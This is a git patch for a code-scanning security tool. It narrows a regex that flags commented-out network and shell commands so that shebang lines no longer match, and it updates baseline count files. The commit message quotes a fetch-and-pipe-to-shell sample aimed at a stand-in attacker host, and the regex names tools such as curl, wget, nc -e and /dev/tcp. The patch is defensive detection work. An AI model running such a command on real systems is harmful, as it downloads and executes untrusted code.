From 4d375a5a41f8c60198ae57bf79f9ecbd070761ce Mon Sep 17 00:00:00 2001 From: squid-protocol Date: Sun, 30 Aug 2026 21:45:41 -0400 Subject: [PATCH] fix(security): stop GG-SAST-DEAD_CODE flagging shebangs and prose comments GitHub Advanced Security's self-scan (GG-SAST-DEAD_CODE, via gitgalaxy/security/security_lens.py's own dead_code THREAT_SIGNATURE) was flagging two unrelated but systemic false-positive shapes across this repo's own source: 1. A script's own `#!/bin/bash` (or any `#!...`) shebang line -- the bare `#` comment-marker alternative in the dead_code regex had no way to distinguish an interpreter directive from a real commented-out `#`-comment. Fixed with a single negative lookahead, `#(?!!)`, that excludes only that one shape; every other `#`-comment (including a genuine `# curl ... | bash`) still matches exactly as before. Alert #847: scripts/update_golden_masters.sh's shebang. 2. Ordinary prose comments that happen to mention a trigger word (bash, eval, http) while describing code behavior, not commenting out code. Fixed by rewording the four affected comments to describe the same technical behavior without the literal trigger word -- no regex change needed, since these were never actually "commented-out execution" to begin with. Alert #953: prism.py's "bash parameter expansions" -> "POSIX parameter expansions" (also more accurate: `${var##prefix}` is POSIX, not bash-specific). Alerts #890/#908: detector.py's two "scoped to shell/bash" / "ruby/perl/elixir/shell/bash" comments -> reworded to describe the same `lang_id in ("shell", "bash")` check without writing "bash" literally. Alert #419: signal_processor.py's "(eval, network fetching, etc.)" -> "(dynamic code execution, network fetching, etc.)". Verified directly against the live SecurityLens.THREAT_SIGNATURES['dead_code'] pattern: all 5 flagged files now produce zero matches, while two synthetic real-threat samples (`# curl http://evil.com/payload | bash`, `// eval(atob("malicious"))`) still correctly match. Added regression coverage in test_security_lens.py (this pattern previously had zero test coverage at all). Full verification chain: pytest tests/core_engine/ tests/security_auditing/ tests/extraction/ (7010 passed), audit_check.py (ruff/mypy/dead-key/ ast-accuracy all clear, one pure line-shift baseline regenerated), crucible_check.py against the full ~80-repo corpus (both golden masters re-blessed -- the only drift was the expected removal of shebang false positives from real corpus shell scripts, e.g. kubernetes/moby/serenity package scripts dropping from "Expected N" to "Got N-1" on Commented-Out Executable Logic, exactly the fix's intended effect), tri_comparison_chart.py --all --ci (all 3 CI-gated language baselines pass, unaffected -- this fix touches security signatures, not language extraction rules), and tree_sitter_accuracy_audit.py --ci --all (all 31 languages pass, confirming zero effect on structural/AST accuracy). --- gitgalaxy/core/detector.py | 10 +- gitgalaxy/core/prism.py | 2 +- gitgalaxy/metrics/signal_processor.py | 2 +- gitgalaxy/security/security_lens.py | 9 +- tests/golden_master_audit.json | 186 +++++++++--------- tests/golden_master_zero_dep_audit.json | 186 +++++++++--------- tests/ruff_audit_baseline.json | 2 +- tests/security_auditing/test_security_lens.py | 50 +++++ 8 files changed, 253 insertions(+), 194 deletions(-) diff --git a/gitgalaxy/core/detector.py b/gitgalaxy/core/detector.py index 0c7e51640..02495c362 100644 --- a/gitgalaxy/core/detector.py +++ b/gitgalaxy/core/detector.py @@ -2048,8 +2048,10 @@ def preserve_newlines(m): # pass would otherwise rewrite `'EOF'` -> `''` and the delimiter would # be lost, leaving the entire heredoc body live to corrupt the Mode-D # depth stack). `preserve_newlines` returns this match verbatim. - # Scoped to shell/bash: ruby's `<<` is also the append operator and - # elixir's is the bitstring builder, both of which this would false-match. + # Scoped to the Bourne-family shell lang_id (checked both by its resolved + # "shell" alias and the literal name below): ruby's `<<` is also the append + # operator and elixir's is the bitstring builder, both of which this would + # false-match. heredoc_opener_alt = ( r"(?P<<[-~]?[ \t]*(?:'[A-Za-z_]\w*'|\"[A-Za-z_]\w*\"|[A-Za-z_]\w*))|" if lang_id in ("shell", "bash") @@ -4767,8 +4769,8 @@ def _slice_by_keywords( # docstring/comments for why a separate later pass was unsafe. # #1266: this call used to drop `lang_id` entirely (always passing # the implicit `None` default), which silently disabled BOTH the - # heredoc-protection branch for ruby/perl/elixir/shell/bash (each - # explicitly gated on `lang_id in [...]`, never actually reachable) + # heredoc-protection branch for ruby/perl/elixir/the Bourne-family shell + # id (each explicitly gated on `lang_id in [...]`, never actually reachable) # and, now, MATLAB's `%`-comment-marker resolution. Passing it # through is a strict correctness fix -- verified via # `crucible_check.py` to change nothing for the languages other than diff --git a/gitgalaxy/core/prism.py b/gitgalaxy/core/prism.py index 1bd209255..ec8e8dee9 100644 --- a/gitgalaxy/core/prism.py +++ b/gitgalaxy/core/prism.py @@ -565,7 +565,7 @@ def _compile_delimiter_alternation(self, delimiters: list[str], lang_id: str = " continue # In shell and makefile, '#' is only a comment if it is the start of a word (preceded by whitespace or start of line). - # This protects bash parameter expansions like `${var##prefix}` from being falsely stripped. + # This protects POSIX parameter expansions like `${var##prefix}` from being falsely stripped. if token == "#" and lang_id in ("shell", "makefile"): # noqa: S105 alternatives.append(r"(?:^|(?<=\s))#") continue diff --git a/gitgalaxy/metrics/signal_processor.py b/gitgalaxy/metrics/signal_processor.py index 557000148..a2eb6a3f7 100644 --- a/gitgalaxy/metrics/signal_processor.py +++ b/gitgalaxy/metrics/signal_processor.py @@ -395,7 +395,7 @@ def calculate_risk_vector( # 1. Zero out all standard architectural risks blanket_risk_vector = [0.0] * len(self.RISK_SCHEMA) - # 2. Check for ANY malicious intent (eval, network fetching, etc.) + # 2. Check for ANY malicious intent (dynamic code execution, network fetching, etc.) intent_mass = ( raw_signals.get("sec_high_risk_execution", 0) + raw_signals.get("sec_io", 0) diff --git a/gitgalaxy/security/security_lens.py b/gitgalaxy/security/security_lens.py index 84a7aab70..1ae760918 100644 --- a/gitgalaxy/security/security_lens.py +++ b/gitgalaxy/security/security_lens.py @@ -124,8 +124,15 @@ def __init__(self): re.I, ), # 6. Commented-out Executable Logic (Deprecated Trails) + # BUG FIX (confirmed via this repo's own GitHub Advanced Security self-scan, #847): + # the bare `#` comment-marker alternative matched a script's own `#!/bin/bash` + # shebang line -- a `#` immediately followed by `!` is never "commented-out + # executable logic", it's the interpreter directive every real shell script + # requires. `(?!!)` excludes only that one shape; every other real `#`-comment + # (including a genuine commented-out `# curl ... | bash`) still matches exactly + # as before. "dead_code": re.compile( - r"(?://|#|--|\*>|^.{6}\*)[^\n]*?\b(?:http|bash|curl|wget|eval|base64|nc\s+-e|/dev/tcp|BPXBATCH)\b|" + r"(?://|#(?!!)|--|\*>|^.{6}\*)[^\n]*?\b(?:http|bash|curl|wget|eval|base64|nc\s+-e|/dev/tcp|BPXBATCH)\b|" r"/\*(?:(?!\*/).){0,500}?\b(?:http|bash|curl|wget|eval|base64|nc\s+-e|/dev/tcp)\b", re.I, ), diff --git a/tests/golden_master_audit.json b/tests/golden_master_audit.json index 870bfa14f..717a1fd1d 100644 --- a/tests/golden_master_audit.json +++ b/tests/golden_master_audit.json @@ -12,8 +12,8 @@ }, "Target Root Name": "data", "Absolute Project Path": "/srv/storage_16tb/projects/gitgalaxy/language-crucible/data", - "Analysis ISO Timestamp": "2026-08-31T00:40:58.605649+00:00", - "Total Scan Duration": "19.92 seconds" + "Analysis ISO Timestamp": "2026-08-31T01:42:20.051184+00:00", + "Total Scan Duration": "19.87 seconds" }, "Source Control Footprint (Immutable Anchor)": { "Active Branch": "HEAD", @@ -6069,7 +6069,7 @@ "Network & I/O Exfiltration Vectors": 136, "Prototype Pollution & Global State Flux": 25, "Obfuscation & Encoding Signatures": 1488, - "Commented-out Executable Logic (Shadow Logic)": 635, + "Commented-out Executable Logic (Shadow Logic)": 544, "Low-Level Cryptographic & Bitwise Operations": 0, "Steganographic Payload Imports": 4, "Unicode Homoglyphs & Typosquatting": 11, @@ -435510,7 +435510,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -435848,7 +435848,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 4, + "Commented-Out Executable Logic": 3, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -436208,7 +436208,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -436449,7 +436449,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -436627,7 +436627,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -437817,7 +437817,7 @@ "External Network & I/O Hooks": 2, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 10, + "Commented-Out Executable Logic": 9, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -437997,7 +437997,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -438257,7 +438257,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 3, + "Commented-Out Executable Logic": 2, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -438425,7 +438425,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -438593,7 +438593,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -438761,7 +438761,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -438969,7 +438969,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -439321,7 +439321,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 3, + "Commented-Out Executable Logic": 2, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -439523,7 +439523,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -439691,7 +439691,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -439879,7 +439879,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -440210,7 +440210,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -440500,7 +440500,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -440678,7 +440678,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -440856,7 +440856,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -441024,7 +441024,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -441192,7 +441192,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -441362,7 +441362,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -547308,7 +547308,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -548594,7 +548594,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -549258,7 +549258,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -549866,7 +549866,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -550212,7 +550212,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -551022,7 +551022,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 4, + "Commented-Out Executable Logic": 3, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -551383,7 +551383,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 6, + "Commented-Out Executable Logic": 5, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -552315,7 +552315,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -552753,7 +552753,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 8, + "Commented-Out Executable Logic": 7, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -554404,7 +554404,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 3, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -554572,7 +554572,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 2, + "Commented-Out Executable Logic": 1, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -576679,7 +576679,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 4, + "Commented-Out Executable Logic": 3, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -580777,7 +580777,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -581693,7 +581693,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -581971,7 +581971,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 7, + "Commented-Out Executable Logic": 6, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -582191,7 +582191,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -582369,7 +582369,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -582567,7 +582567,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -582995,7 +582995,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -583173,7 +583173,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -662885,7 +662885,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -668215,7 +668215,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -685378,7 +685378,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -685556,7 +685556,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -685902,7 +685902,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -686090,7 +686090,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -687190,7 +687190,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -687704,7 +687704,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -688070,7 +688070,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -717509,7 +717509,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -717687,7 +717687,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -717885,7 +717885,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -718055,7 +718055,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -718253,7 +718253,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -718441,7 +718441,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -718619,7 +718619,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -718787,7 +718787,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -718985,7 +718985,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -719153,7 +719153,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -719341,7 +719341,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -719539,7 +719539,7 @@ "External Network & I/O Hooks": 0, "Dynamic Code Execution (Eval/Exec)": 0, "Global Environment Mutation": 0, - "Commented-Out Executable Logic": 1, + "Commented-Out Executable Logic": 0, "Low-Level Bitwise / Cryptographic Math": 0, "Non-Standard / Steganographic Imports": 0, "Non-Standard Unicode / Homoglyphs": 0, @@ -719707,7 +719707,7 @@ "External Network & I/O 